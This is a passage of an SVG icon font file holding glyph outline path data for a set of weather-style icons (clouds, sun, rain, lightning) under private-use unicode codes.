-62q23 -29 63 -29q39 0 62 29q29 26 29 62q0 35 -29 62l-65 69q-28 26 -65 26q-38 0 -63.5 -26t-25.5 -63zM2463 1094 q0 -36 27 -62q28 -26 67 -26h216q38 0 64.5 25.5t26.5 62.5q0 38 -27 64.5t-64 26.5h-216q-38 0 -66 -27t-28 -64z" />
<glyph unicode="&#xf00c;" horiz-adv-x="2541" d="M0 899q0 -43 30 -71t77 -28h180q43 0 73.5 28.5t30.5 70.5q0 46 -30 76t-74 30h-180q-47 0 -77 -29.5t-30 -76.5zM189 239q0 -155 113 -268.5t268 -113.5h732q155 0 265.5 112t110.5 270q0 77 -22 131q133 85 210.5 226.5t77.5 302.5q0 130 -51 248.5t-136.5 204 t-204 136.5t-247.5 51q-175 0 -322.5 -86t-232 -233t-84.5 -321v-36q-160 -91 -211 -266q-121 -38 -193.5 -135t-72.5 -223zM355 1750q0 -45 28 -72l172 -180q75 -57 150 0q30 30 30 75q0 43 -30 75l-176 175q-34 31 -74 31q-45 0 -72.5 -30t-27.5 -74zM400 239q0 67 43 115 t109 54l66 9q21 0 21 24l10 60q11 92 78 154t158 62q93 0 161.5 -62t79.5 -154l9 -69q10 -24 26 -24h141q69 0 119.5 -50t50.5 -119q0 -72 -50.5 -123t-119.5 -51h-732q-72 0 -121 51t-49 123zM872 921q11 175 135 294t298 119q178 0 303 -127t125 -308q0 -112 -54.5 -207.5 t-147.5 -154.5q-94 78 -217 78q-47 140 -164 223t-265 83h-13zM1201 1854q0 -44 30.5 -74.5t73.5 -30.5q44 0 74.5 30.5t30.5 74.5v250q0 42 -30.5 70.5t-74.5 28.5q-43 0 -73.5 -28.5t-30.5 -70.5v-250zM1875 230q0 -43 29 -75l175 -173q67 -68 150 0q28 27 28 72 q0 43 -28 71l-180 179q-29 27 -73 27t-72.5 -29t-28.5 -72zM1875 1575q0 -45 29 -77q29 -29 72 -29q44 0 73 29l180 180q28 27 28 72q0 44 -30.5 74t-74.5 30q-42 0 -73 -31l-175 -175q-29 -29 -29 -73zM2151 899q0 -43 30 -71t77 -28h180q43 0 73.5 28.5t30.5 70.5 q0 46 -30 76t-74 30h-180q-47 0 -77 -29.5t-30 -76.5z" />
<glyph unicode="&#xf00d;" horiz-adv-x="2267" d="M0 771q0 39 27 66q28 26 64 26h218q37 0 61.5 -27t24.5 -65t-24.5 -64.5t-61.5 -26.5h-218q-37 0 -64 27t-27 64zM305 32q0 37 25 65l157 152q24 25 63 25q38 0 63.5 -24t25.5 -61q0 -39 -26 -68l-152 -152q-65 -51 -131 0q-25 27 -25 63zM305 1509q0 37 25 65 q31 26 68 26q35 0 63 -26l152 -157q26 -24 26 -63q0 -38 -25.5 -63.5t-63.5 -25.5q-39 0 -63 26l-157 152q-25 27 -25 66zM577 771q0 149 75 277.5t203.5 203.5t277.5 75q112 0 215 -44.5t177.5 -119t118.5 -177.5t44 -215q0 -150 -74.5 -278t-202.5 -202.5t-278 -74.5 t-278 74.5t-203 202.5t-75 278zM758 771q0 -156 109.5 -266.5t265.5 -110.5t266.5 110.5t110.5 266.5q0 154 -110.5 263t-266.5 109q-155 0 -265 -109t-110 -263zM1042 -58q0 38 26.5 64t64.5 26q39 0 65 -26t26 -64v-212q0 -39 -26.5 -66t-64.5 -27t-64.5 27t-26.5 66v212z M1042 1595v218q0 37 27 64t64 27t64 -27t27 -64v-218q0 -37 -26.5 -61.5t-64.5 -24.5t-64.5 24.5t-26.5 61.5zM1631 189q0 37 24 60q24 25 60 25q39 0 64 -25l156 -152q26 -28 26 -65t-26 -63q-64 -50 -128 0l-152 152q-24 27 -24 68zM1631 1354q0 40 24 63l152 157 q28 26 63 26q38 0 64.5 -27t26.5 -64q0 -40 -26 -66l-156 -152q-29 -26 -64 -26q-36 0 -60 25.5t-24 63.5zM1872 771q0 38 26 66q26 26 61 26h216q37 0 64.5 -27.5t27.5 -64.5t-27.5 -64t-64.5 -27h-216q-37 0 -62 26.5t-25 64.5z" />
<glyph unicode="&#xf00e;" horiz-adv-x="2883" d="M0 530q0 -179 106.5 -320t275.5 -188l-70 -181q-8 -23 15 -23h227l-152 -449h31l465 604q6 7 2 14.5t-15 7.5h-234l266 496q12 23 -15 23h-316q-15 0 -25 -16l-114 -307q-115 29 -190 123.5t-75 215.5q0 135 90 233t225 114l54 3q19 0 24 15l8 63q17 173 146.5 290.5 t305.5 117.5q174 0 305.5 -117.5t149.5 -290.5l8 -63q0 -18 19 -18h172q143 0 246 -102.5t103 -244.5q0 -139 -95.5 -241.5t-232.5 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q141 4 258.5 76.5t185.5 193t68 261.5q0 117 -46 215q122 154 122 351q0 152 -75.5 281.5t-205 205 t-281.5 75.5q-115 0 -223.5 -48t-187.5 -133q-129 69 -290 69q-227 0 -402.5 -140.5t-224.5 -359.5q-177 -41 -292.5 -186t-115.5 -330zM873 -528q0 -24 17 -50t49 -36q18 -4 27 -4q24 0 41 8q34 13 46 61l29 110q10 40 -9 71.5t-57 39.5q-33 11 -66 -8t-45 -55l-27 -111 q-5 -22 -5 -26zM898 1841q0 -37 27 -64l69 -70q25 -25 59 -28q33 -5 65 24t32 68q0 37 -27 64l-67 70q-26 26 -64 26q-40 0 -67 -26t-27 -64zM1016 -16q-1 -26 15 -50.5t51 -34.5q34 -11 66.5 6.5t44.5 59.5l32 110q11 35 -8.5 67.5t-57.5 43.5q-36 11 -68.5 -7.5 t-43.5 -56.5l-26 -112q-5 -22 -5 -26zM1318 -195q0 -23 11 -42q21 -34 58 -46q18 -6 30 -6q20 0 33 8q32 12 48 64l27 108q11 38 -7 69.5t-54 41.5q-37 11 -69.5 -7t-43.5 -54l-30 -111q-3 -14 -3 -25zM1464 319q0 -28 17.5 -53.5t52.5 -35.5q27 -9 65 5q32 14 46 61l29 107 q10 40 -8.5 71.5t-56.5 39.5q-36 11 -68 -6.5t-43 -53.5l-31 -113q-3 -21 -3 -22zM1475 1369q107 103 261 103q157 0 267.5 -109.5t110.5 -266.5q0 -105 -50 -193q-154 154 -375 154h-33q-47 190 -181 312zM1645 1931q0 -38 26.5 -65t64.5 -27t63.5 26.5t25.5 65.5v220 q0 39 -25.5 65.5t-63.5 26.5t-64.5 -27t-26.5 -65v-220zM2240 1687q0 -39 25 -64q22 -25 58.5 -27.5t67.5 27.5l154 154q28 26 28 64t-28 64q-26 28 -64 28q-37 0 -62 -28l-154 -154q-25 -25 -25 -64zM2323 416q0 -37 27 -64l69 -67q29 -27 66 -27l2 -2q35 0 58 29 q28 26 28 64q0 37 -28 65l-66 66q-29 29 -65 29q-38 0 -64.5 -27.5t-26.5 -65.5zM2479 1096q0 -39 28 -63q25 -28 64 -28h220q38 0 65 26.5t27 64.5t-26.5 63.5t-65.5 25.5h-220q-39 0 -65.5 -25.5t-26.5 -63.5z" />
<glyph unicode="&#xf010;" horiz-adv-x="2875" d="M0 528q0 -177 105 -316t274 -190l-68 -181q-7 -22 15 -22h226l-133 -421h31l445 575q6 7 1.5 14.5t-15.5 7.5h-232l264 494q11 23 -15 23h-314q-15 0 -25 -15l-114 -307q-114 29 -189 124t-75 214q0 133 90.5 231t224.5 114l56 7q21 0 21 19l6 54q17 173 147 290t305 117 q174 0 304.5 -117t149.5 -290l6 -62q0 -18 19 -18h172q145 0 247.5 -101t102.5 -244q0 -136 -95 -235.5t-234 -110.5q-21 0 -21 -19v-146q0 -18 21 -18q213 7 361.5 161t148.5 368q0 118 -46 214q126 153 126 354q0 150 -75.5 279t-204.5 204.5t-280 75.5q-247 0 -414 -185 q-129 69 -288 69q-226 0 -401 -140t-224 -358q-177 -41 -291.5 -184.5t-114.5 -328.5zM863 -494q-2 -24 14.5 -47t49.5 -35q11 -3 22 -3q27 0 54 16t36 50l244 914q10 37 -7 68.5t-52 42.5q-37 11 -69.5 -7t-42.5 -54l-246 -917q-3 -13 -3 -28zM898 1837q0 -38 27 -63 l68 -70q27 -27 65 -27.5t61 27.5q30 24 30 64q0 38 -27 63l-67 70q-28 26 -65 26q-40 0 -66 -26t-26 -64zM1306 -168q0 -19 12 -40q20 -32 53 -46q11 -5 32 -5q24 0 35 6q32 13 44 62l159 592q10 38 -8 69t-54 42q-37 11 -68.5 -7t-41.5 -54l-159 -595q0 -4 -2 -12t-2 -12z M1469 1367q107 103 264 103q156 0 266.5 -109t110.5 -265q0 -100 -55 -197q-159 157 -373 157h-33q-49 188 -180 311zM1641 1927q0 -37 27.5 -64.5t64.5 -27.5q38 0 63 27t25 65v219q0 38 -25 65t-63 27q-37 0 -64.5 -27t-27.5 -65v-219zM2231 1683q0 -39 28 -64 q23 -27 60.5 -27t64.5 27l154 155q28 25 28 63t-27 65t-65 27q-35 0 -61 -28l-154 -154q-28 -25 -28 -64zM2317 418q0 -36 26 -64l70 -67q20 -23 58 -26l1 -1q2 0 5 -0.5t5 -0.5q30 0 56 28q28 26 28 64q0 37 -28 65l-69 65q-26 29 -62 29q-37 0 -63.5 -27t-26.5 -65z M2472 1096q0 -37 29 -64q29 -29 65 -29h217q37 0 64.5 27.5t27.5 65.5q0 37 -27 62.5t-65 25.5h-217q-40 0 -67 -25.5t-27 -62.5z" />
<glyph unicode="&#xf011;" horiz-adv-x="2428" d="M0 90q0 40 27 67q28 26 64 26h578q118 0 201.5 -84.5t83.5 -202.5q0 -119 -83 -202.5t-202 -83.5t-203 84q-25 25 -25 64t24.5 64.5t64.5 25.5q37 0 65 -26q32 -31 74 -31t73 30.5t31 74.5q0 42 -31 72.5t-73 30.5h-578q-37 0 -64 26.5t-27 64.5zM0 414q0 39 27 66 q28 26 64 26h1125q42 0 73 31t31 74t-31 73.5t-73 30.5q-44 0 -73 -30q-29 -24 -68 -24t-63.5 24.5t-24.5 63.5q0 40 24 65q81 81 205 81q119 0 202.5 -83t83.5 -201t-83.5 -201.5t-202.5 -83.5h-1125q-38 0 -64.5 25.5t-26.5 62.5zM229 666q0 -13 17 -13h154q13 0 23 16 q36 87 112 144t170 64l56 8q21 0 21 18l8 55q17 173 146.5 290.5t305.5 117.5q177 0 307 -116.5t148 -291.5l8 -63q0 -18 18 -18h173q145 0 248.5 -102t103.5 -245t-103.5 -245t-248.5 -102h-737q-20 0 -20 -18v-148q0 -18 20 -18h737q145 0 267.5 71t194 193.5t71.5 266.5 q0 145 -71.5 267t-194 193t-267.5 71h-33q-50 213 -223.5 349t-397.5 136q-226 0 -400 -140.5t-221 -359.5q-137 -32 -243 -131.5t-147 -235.5v-4q-2 -5 -2 -9z" />
<glyph unicode="&#xf012;" horiz-adv-x="2539" d="M0 87q0 39 27 65t67 26h957q38 0 63 -25.5t25 -65.5q0 -38 -25.5 -63.5t-62.5 -25.5h-957q-40 0 -67 25.5t-27 63.5zM281 413q0 38 29 64q23 24 63 24h960q37 0 61.5 -25t24.5 -63t-24.5 -65t-61.5 -27h-960q-37 0 -64.5 27.5t-27.5 64.5zM347 662q0 -15 18 -15h152 q15 0 25 15q36 87 111 144t168 64l58 7q18 0 18 19l7 55q18 174 148.5 290t306.5 116q174 0 302 -114.5t150 -288.5l8 -63q0 -17 19 -17h171q145 0 247.5 -102t102.5 -247q0 -140 -104 -243.5t-246 -103.5h-735q-19 0 -19 -18v-143q0 -19 19 -19h735q108 0 206.5 41.5 t169 112.5t112.5 168.5t42 204.5q0 144 -70.5 265.5t-192.5 192t-267 70.5h-33q-52 215 -224.5 351.5t-392.5 136.5q-227 0 -401.5 -141.5t-221.5 -361.5q-138 -31 -242 -129.5t-145 -236.5v-2q-2 -4 -2 -8zM469 -243q0 39 28 64q24 25 63 25h959q39 0 65.5 -25.5 t26.5 -63.5t-27 -65t-65 -27h-959q-37 0 -64 27t-27 65z" />
<glyph unicode="&#xf013;" horiz-adv-x="2370" d="M0 454q0 159 99 282.5t254 158.5q41 188 190 307.5t343 119.5q189 0 337.5 -116.5t192.5 -298.5h29q188 0 321 -132.5t133 -320.5t-133 -321.5t-321 -133.5h-990q-92 0 -176.5 36t-145.5 97t-97 145.5t-36 176.5zM155 454q0 -122 88 -209.5t212 -87.5h990q124 0 212 87.5 t88 209.5t-88 209t-212 87h-148q-16 0 -16 16l-7 52q-16 151 -126.5 250.5t-261.5 99.5t-262.5 -100t-125.5 -250l-7 -45q0 -16 -17 -16l-48 -7q-115 -10 -193 -95t-78 -201zM1099 1384q-16 -15 8 -22q69 -30 115 -59q18 -5 24 3q97 92 226 92t223.5 -86.5t105.5 -213.5 l10 -68h151q104 0 179 -74.5t75 -177.5q0 -96 -66 -167t-163 -82q-16 0 -16 -17v-121q0 -17 16 -17q161 10 272 127t111 277q0 169 -119.5 288.5t-288.5 119.5h-16q-42 160 -175.5 263.5t-298.5 103.5q-226 0 -373 -169z" />
<glyph unicode="&#xf014;" horiz-adv-x="2641" d="M0 86q0 39 27 65t67 26h1991q40 0 65.5 -25.5t25.5 -65.5q0 -37 -26.5 -62t-64.5 -25h-1991q-40 0 -67 25t-27 62zM279 421q0 39 28 64q24 24 63 24h1992q37 0 62 -25.5t25 -62.5q0 -38 -25 -64.5t-62 -26.5h-1992q-38 0 -64.5 27t-26.5 64zM293 675q0 -14 16 -14h153 q10 0 21 17q38 83 113.5 136t165.5 60l59 8q18 0 18 19l7 53q17 173 146.5 288.5t303.5 115.5q173 0 301.5 -114t146.5 -286l8 -61q0 -18 21 -18h170q103 0 187.5 -55t125.5 -146q11 -17 22 -17h153q19 0 15 24q-47 164 -186 268t-317 104h-34q-53 213 -223.5 348.5 t-389.5 135.5q-224 0 -398 -140.5t-223 -358.5q-136 -32 -238.5 -129t-142.5 -232v4q-1 -3 -1 -10zM465 -241q0 38 28 63q24 24 64 24h1993q38 0 64.5 -25t26.5 -62q0 -38 -27 -65t-64 -27h-1993q-37 0 -64.5 27.5t-27.5 64.5z" />
<glyph unicode="&#xf015;" horiz-adv-x="2210" d="M0 528q0 -213 148.5 -366t362.5 -163q18 0 18 18v143q0 18 -18 18q-137 7 -233 109t-96 241q0 132 90 230t223 114l57 3q21 0 21 20l6 57q17 173 146.5 289.5t304.5 116.5q174 0 304 -116.5t148 -289.5l8 -62q0 -18 19 -18h172q142 0 246 -102t104 -242 q0 -139 -96.5 -241t-232.5 -109q-21 0 -21 -18v-143q0 -18 21 -18q139 4 256 76t184.5 192.5t67.5 260.5q0 143 -71 263.5t-193 190t-265 69.5h-34q-52 214 -224.5 350t-392.5 136q-225 0 -400 -139.5t-224 -357.5q-177 -41 -291.5 -184.5t-114.5 -327.5zM581 -240 q15 -34 49 -49q32 -16 66.5 -2t47.5 48q16 35 2.5 68.5t-48.5 46.5q-32 17 -65.5 3t-49.5 -50q-15 -26 -2 -65zM648 61q0 -25 16.5 -48.5t49.5 -34.5q31 -18 66 -1.5t47 63.5l96 361q10 40 -8.5 71.5t-56.5 38.5q-13 3 -26 3q-26 0 -50.5 -16t-34.5 -47l-94 -362 q-5 -23 -5 -28zM847 -535q0 -19 6 -31q14 -35 48 -48q15 -8 35 -8q10 0 32 6q35 13 50.5 48t-0.5 70t-47.5 49t-66.5 0q-30 -13 -43.5 -38t-13.5 -48zM925 -257q0 -59 67 -78q18 -4 26 -4q24 0 41 8q33 13 45 61l178 671q10 38 -6.5 69t-52.5 41q-13 3 -29 3 q-26 0 -51.5 -16t-31.5 -47l-182 -676q-4 -22 -4 -32zM1291 -208q0 -19 8 -34q13 -31 47 -47q18 -7 37 -7q10 0 32 6q34 13 49 47q12 35 -1 67t-45 48q-36 17 -69.5 3t-49.5 -50q-8 -15 -8 -33zM1368 66q0 -23 17 -48t48 -35q25 -5 29 -5q15 0 39 11q32 15 43 56l96 356 q3 27 3 28q0 25 -16.5 49t-48.5 33q-14 3 -28 3q-26 0 -50 -15.5t-33 -47.5l-96 -358z" />
<glyph unicode="&#xf016;" horiz-adv-x="1502" d="M0 -283h42l734 1086q15 29 -16 29h-303l319 581q14 29 -21 29h-406q-17 0 -31 -19l-296 -789q-4 -29 20 -29h293zM907 392h29l557 818q8 13 4 21t-18 8h-224l233 430q19 32 -19 32h-292q-21 0 -32 -20l-222 -585q-5 -14 1 -22t20 -8h218z" />
<glyph unicode="&#xf017;" horiz-adv-x="2209" d="M0 522q0 -211 149 -364t361 -160q19 0 19 18v142q0 19 -19 19q-135 7 -232 108.5t-97 236.5q0 134 90.5 233.5t223.5 110.5l56 8q20 0 20 19l8 53q16 175 145.5 293t305.5 118q173 0 303 -117t149 -289l7 -62q0 -19 20 -19h171q144 0 247 -103t103 -245 q0 -135 -96.5 -236.5t-232.5 -108.5q-21 0 -21 -19v-142q0 -18 21 -18q213 7 360.5 159.5t147.5 364.5q0 143 -71 264.5t-193 192t-265 70.5h-33q-53 214 -225 350.5t-392 136.5q-225 0 -400 -140t-224 -357q-180 -46 -293 -188.5t-113 -328.5zM577 -227q0 -27 17.5 -54 t50.5 -37q37 -11 68 4t42 60l15 65q8 36 -10 67.5t-55 42.5q-36 11 -68.5 -8t-42.5 -57l-15 -63q-2 -6 -2 -20zM658 82q0 -34 27 -61q25 -27 60 -27q38 0 64 25.5t26 62.5t-26 62.5t-64 25.5q-37 0 -62 -25t-25 -63zM723 325q-2 -25 14.5 -48.5t51.5 -34.5q33 -10 66 7.5 t44 54.5l30 96q12 39 -7 69.5t-58 41.5q-35 11 -67.5 -7t-43.5 -53l-26 -98q0 -3 -2 -12.5t-2 -15.5zM847 -560q0 -28 16.5 -53t51.5 -35q13 -3 27 -3q68 0 84 65l15 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5l-15 -63q-3 -14 -3 -24zM930 -250q0 -35 27 -62 q26 -26 61 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM997 -8q-2 -24 14 -50t48 -32q37 -10 68 6t44 60l29 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1291 -237q0 -26 16.5 -51t49.5 -35q5 0 14.5 -2t14.5 -2 q65 0 81 70l15 64q11 34 -7 67t-54 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63q0 -4 -2 -13t-2 -14zM1370 78q0 -36 27 -61q24 -26 61 -26q38 0 63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1435 325q0 -27 17.5 -51.5t52.5 -34.5q3 0 13 -2t15 -2q16 0 38 10 q34 18 44 56l26 96q10 36 -8 67.5t-54 42.5q-37 11 -68 -6t-42 -54l-30 -97q0 -4 -2 -12.5t-2 -12.5z" />
<glyph unicode="&#xf018;" horiz-adv-x="2213" d="M0 525q0 -179 104.5 -318.5t272.5 -190.5q14 -3 26 8l124 153q-142 0 -243 102t-101 246q0 135 90 234.5t224 110.5l56 7q17 0 17 14l8 59q20 176 148.5 291.5t303.5 115.5q176 0 306.5 -116.5t146.5 -290.5l8 -62q4 -18 23 -18h173q144 0 245 -101t101 -244 q0 -133 -90 -232.5t-221 -115.5q-19 0 -52 -6q-31 -3 -44 -24l-252 -298q-23 -29 -17.5 -67t33.5 -61q17 -20 60 -20q42 0 65 37l226 260q199 20 336 172t137 355q0 108 -41.5 206t-112 168.5t-168 112.5t-205.5 42h-34q-53 212 -226.5 347.5t-396.5 135.5 q-149 0 -280.5 -63.5t-221.5 -177t-121 -258.5q-180 -40 -293.5 -183.5t-113.5 -329.5zM361 -330q0 -10 6 -32q14 -34 47 -47q35 -16 71 -2t49 48q16 35 2 69t-49 46q-36 17 -69 3t-49 -50q-8 -17 -8 -35zM558 -70v-11q3 -36 32 -60q36 -20 66 -20q36 0 65 35l248 295 q23 28 21 70q-4 34 -29.5 57t-55.5 23q-9 0 -15 -1q-37 -7 -60 -35l-252 -296q-20 -23 -20 -57zM640 -573q0 -19 8 -34q13 -34 47 -50q17 -8 35 -8q20 0 33 8q37 15 50 44q16 35 2.5 71t-47.5 49q-35 16 -71.5 2t-48.5 -48q-8 -15 -8 -34zM818 -323v-12q4 -35 33 -58.5 t59 -23.5q36 0 67 35l464 559q18 20 18 55v13q-4 36 -29 57t-56 21h-14q-37 -2 -59 -33l-464 -555q-19 -28 -19 -58zM1193 -446q0 -14 6 -32q14 -35 49 -50q22 -6 33 -6q23 0 36 8q36 14 49 45q16 27 2 71q-13 33 -47 47l-38 10q-14 -3 -34 -8q-35 -13 -48 -47 q-8 -19 -8 -38z" />
<glyph unicode="&#xf019;" horiz-adv-x="2211" d="M0 527q0 184 115 327.5t291 184.5q50 218 225 358t400 140q220 0 392.5 -136.5t224.5 -350.5h34q143 0 265 -69.5t193 -190t71 -263.5q0 -140 -67.5 -260.5t-184.5 -192.5t-256 -76q-21 0 -21 18v142q0 19 21 19q136 7 232.5 109t96.5 241t-104 241.5t-246 102.5h-172 q-19 0 -19 18l-8 62q-18 173 -148.5 289.5t-303.5 116.5q-175 0 -304.5 -116.5t-145.5 -289.5l-8 -57q0 -20 -21 -20l-56 -3q-133 -16 -223.5 -114t-90.5 -230q0 -139 96 -241t233 -109q18 0 18 -19v-142q0 -18 -18 -18q-214 10 -362.5 163t-148.5 366zM571 -186q0 7 4 21 l174 615q10 31 34.5 47t49.5 16q11 0 26 -3q38 -7 57.5 -39t8.5 -71l-174 -611q-20 -68 -88 -68q-6 0 -12 2q-9 3 -11 3q-35 10 -52 35.5t-17 52.5zM851 -486l260 936q7 31 32 47t52 16q14 0 29 -3q35 -10 52 -41.5t7 -68.5l-259 -937q-6 -27 -31 -46t-54 -19q-15 0 -27 5 q-32 8 -55 42q-18 28 -6 69zM1291 -189q0 6 4 24l174 615q9 31 32.5 47t49.5 16q13 0 28 -3q33 -9 49.5 -33t16.5 -50q0 -5 -2 -14.5t-2 -12.5l-174 -611q-6 -31 -30 -49.5t-54 -18.5l-26 5q-32 9 -49 34.5t-17 50.5z" />
<glyph unicode="&#xf01a;" horiz-adv-x="2218" d="M0 525q0 185 116 329t297 185q47 220 221 361.5t400 141.5q223 0 396.5 -136t226.5 -352h36q144 0 265 -70.5t190.5 -192.5t69.5 -266q0 -214 -146.5 -367t-359.5 -160q-19 0 -19 18v143q0 18 19 18q135 11 231 111.5t96 236.5q0 143 -102 246t-244 103h-174 q-19 0 -23 19l-8 61q-11 114 -74.5 206.5t-163.5 145t-216 52.5q-176 0 -305.5 -116.5t-146.5 -290.5l-7 -58q0 -15 -17 -15l-56 -8q-135 -11 -225.5 -110t-90.5 -235q0 -139 94.5 -239.5t231.5 -108.5q19 0 19 -18v-143q0 -18 -19 -18q-105 5 -200 48t-163.5 113 t-108.5 165.5t-40 200.5zM578 -197q0 5 2 14t2 12l29 110q11 36 42.5 54.5t68.5 7.5q36 -11 55 -42.5t8 -68.5l-26 -108q-21 -70 -81 -70q-4 0 -9.5 0.5t-12 1.5t-10.5 1q-34 10 -51 36.5t-17 51.5zM719 317q0 4 1.5 12t1.5 10l32 112q10 31 34 47.5t50 16.5q4 0 8.5 -0.5 t10 -1.5t8.5 -1q36 -11 54.5 -42.5t7.5 -68.5l-26 -107q-11 -44 -43 -62.5t-69 -2.5q-35 10 -52.5 36t-17.5 52zM850 -531q0 5 2 13.5t2 12.5l31 106q10 38 42.5 57.5t69.5 8.5q36 -11 54 -43.5t7 -69.5l-27 -111q-17 -65 -85 -65q-8 0 -26 4q-35 6 -52.5 32.5t-17.5 54.5z M993 -22q0 9 4 27l29 110q11 36 43.5 54.5t69.5 7.5q36 -10 54 -41.5t6 -69.5l-26 -106q-20 -72 -77 -72q-7 0 -33 6q-35 7 -52.5 31.5t-17.5 52.5zM1294 -201q0 11 3 26l30 106q11 38 43.5 57.5t67.5 9.5q37 -11 56.5 -43.5t9.5 -67.5l-31 -113q-16 -65 -84 -65 q-15 0 -28 3q-32 6 -49 32.5t-18 54.5zM1441 307q0 5 5 28l32 110q6 34 31 50.5t52 14.5q7 1 26 -3q35 -8 55 -41q19 -27 8 -69l-26 -110q-21 -69 -81 -69q-10 0 -36 6q-33 10 -49.5 33.5t-16.5 49.5z" />
<glyph unicode="&#xf01b;" horiz-adv-x="2211" d="M0 523q0 185 113.5 328.5t292.5 187.5q50 218 224.5 358t400.5 140q220 0 392.5 -136.5t224.5 -350.5h34q143 0 265 -70.5t193 -192t71 -264.5q0 -212 -148 -365t-360 -160q-21 0 -21 18v142q0 19 21 19q136 7 232.5 108.5t96.5 237.5q0 142 -103 245t-247 103h-172 q-19 0 -19 18l-8 62q-18 173 -148.5 290t-303.5 117q-176 0 -305.5 -118t-146.5 -293l-6 -53q0 -20 -21 -20l-56 -7q-133 -11 -223.5 -110.5t-90.5 -233.5q0 -136 96.5 -237.5t232.5 -108.5q18 0 18 -19v-142q0 -18 -18 -18q-214 7 -362.5 160t-148.5 365zM679 89 q0 36 25.5 62t62.5 26t62.5 -26t25.5 -62q0 -38 -25.5 -64.5t-62.5 -26.5t-62.5 26.5t-25.5 64.5zM679 -298q0 38 26 64q25 24 62 24t62.5 -25t25.5 -63t-25.5 -63t-62.5 -25t-62.5 25t-25.5 63zM1019 -117q0 37 27 66q26 26 61 26q37 0 64.5 -27.5t27.5 -64.5t-27 -63.5 t-65 -26.5q-36 0 -62 26.5t-26 63.5zM1019 269q0 37 27 64q28 26 61 26q38 0 65 -26.5t27 -63.5t-27 -62.5t-65 -25.5q-36 0 -62 25.5t-26 62.5zM1019 -507q0 36 27 65q26 26 61 26q38 0 65 -27t27 -64t-27 -62.5t-65 -25.5q-36 0 -62 25.5t-26 62.5zM1363 89q0 35 27 61.5 t64 26.5t62.5 -26t25.5 -62q0 -38 -25.5 -64.5t-62.5 -26.5q-38 0 -64.5 27t-26.5 64zM1363 -298q0 35 27 64q26 24 64 24t63 -25t25 -63t-25 -63t-63 -25t-64.5 25.5t-26.5 62.5z" />
<glyph unicode="&#xf01c;" horiz-adv-x="2210" d="M0 527q0 184 115 327.5t291 184.5q49 218 224 357.5t401 139.5q220 0 392 -136t225 -350h33q143 0 265 -69.5t193 -190t71 -263.5q0 -214 -147.5 -368t-360.5 -161q-21 0 -21 18v142q0 19 21 19q137 7 233 109t96 241t-104 241.5t-246 102.5h-171q-20 0 -20 18l-7 62 q-17 172 -147.5 289t-304.5 117q-175 0 -305 -116.5t-147 -289.5l-6 -58q0 -19 -21 -19l-56 -3q-131 -6 -222.5 -107t-91.5 -237q0 -139 96 -241t233 -109q18 0 18 -19v-142q0 -18 -18 -18q-214 10 -362.5 163t-148.5 366zM632 433q0 39 39 105.5t73 107.5q34 38 41 45 l38 -43q41 -44 76.5 -108.5t35.5 -106.5q0 -63 -43 -105t-107 -42q-63 0 -108 43t-45 104zM950 8q0 44 25.5 102t62.5 109q29 41 71 89.5t64 69.5q11 10 26 25l26 -25q60 -53 136 -156q38 -53 63 -111t25 -103q0 -103 -72.5 -175.5t-177.5 -72.5q-103 0 -176 72t-73 176z M1107 718q0 67 104 171l26 -27q28 -34 51 -75.5t23 -68.5q0 -41 -29.5 -70.5t-70.5 -29.5q-43 0 -73.5 29.5t-30.5 70.5z" />
<glyph unicode="&#xf01d;" horiz-adv-x="2212" d="M0 527q0 -177 105.5 -317t273.5 -191l-69 -179q-5 -23 15 -23h227l-111 -403h30l423 557q6 7 2 14.5t-15 7.5h-232l264 495q10 22 -15 22h-314q-15 0 -24 -15l-115 -306q-114 29 -188.5 124t-74.5 214q0 133 90 230.5t224 113.5l56 8q21 0 21 18l8 55q16 173 145.5 290 t304.5 117q174 0 304.5 -117t149.5 -290l6 -62q0 -19 20 -19h172q145 0 247.5 -101t102.5 -243q0 -136 -95 -235.5t-234 -109.5q-21 0 -21 -20v-146q0 -18 21 -18q104 3 198.5 47t162.5 114.5t108 167t40 200.5q0 144 -71.5 265.5t-193.5 192t-265 70.5h-34 q-53 213 -225 348t-393 135q-226 0 -401 -140t-224 -358q-176 -41 -291 -184.5t-115 -328.5zM870 -525q0 -25 16.5 -49.5t49.5 -34.5q22 -5 27 -5q14 0 40 11q34 15 45 56l30 112q10 35 -8.5 67t-56.5 43q-35 10 -67.5 -8.5t-43.5 -56.5l-29 -107q-3 -27 -3 -28zM1013 -16 q0 -23 16.5 -46.5t48.5 -35.5q36 -12 68 5t43 56l32 111q10 35 -9 67.5t-57 43.5q-36 10 -69 -8.5t-44 -55.5l-26 -108q-3 -27 -3 -29zM1314 -192q0 -27 17.5 -54t50.5 -37q4 0 12.5 -2t12.5 -2q21 0 40 8q30 11 44 61l27 108q11 37 -6.5 70.5t-53.5 44.5q-40 10 -72.5 -9 t-39.5 -57l-29 -110q-3 -9 -3 -21zM1459 319q-1 -25 16 -50t52 -40q12 -6 28 -6q17 0 36 9q33 16 47 61l31 110q3 21 3 23q0 27 -17.5 52.5t-52.5 35.5q-4 0 -12 2t-12 2q-27 0 -52 -16.5t-35 -51.5l-29 -108q-3 -12 -3 -23z" />
<glyph unicode="&#xf01e;" horiz-adv-x="2213" d="M0 527q0 -177 106 -317t275 -191l-70 -179q-5 -23 15 -23h227l-105 -459h30l418 613q6 7 1.5 14.5t-15.5 7.5h-232l264 495q11 23 -15 23h-314q-15 0 -25 -16l-114 -306q-114 29 -189 124t-75 214q0 133 90.5 231t224.5 114l56 7q21 0 21 19l7 54q17 173 146.5 290 t304.5 117q174 0 304.5 -117t149.5 -290l7 -62q0 -18 19 -18h171q145 0 248 -101.5t103 -243.5q0 -136 -95 -235.5t-235 -110.5q-21 0 -21 -19v-146q0 -18 21 -18q213 7 361.5 161t148.5 368q0 144 -71 265.5t-193.5 192t-266.5 70.5h-33q-53 213 -225.5 348t-392.5 135 q-226 0 -401 -140t-224 -358q-177 -41 -292 -184.5t-115 -328.5zM869 -509q0 -63 62 -82q2 0 12 -1.5t15 -1.5q27 0 52.5 15.5t34.5 51.5l240 927q10 38 -7 69t-53 42q-27 3 -28 3q-26 0 -50.5 -16t-33.5 -48l-241 -930q-3 -14 -3 -29zM1312 -182q0 -21 11 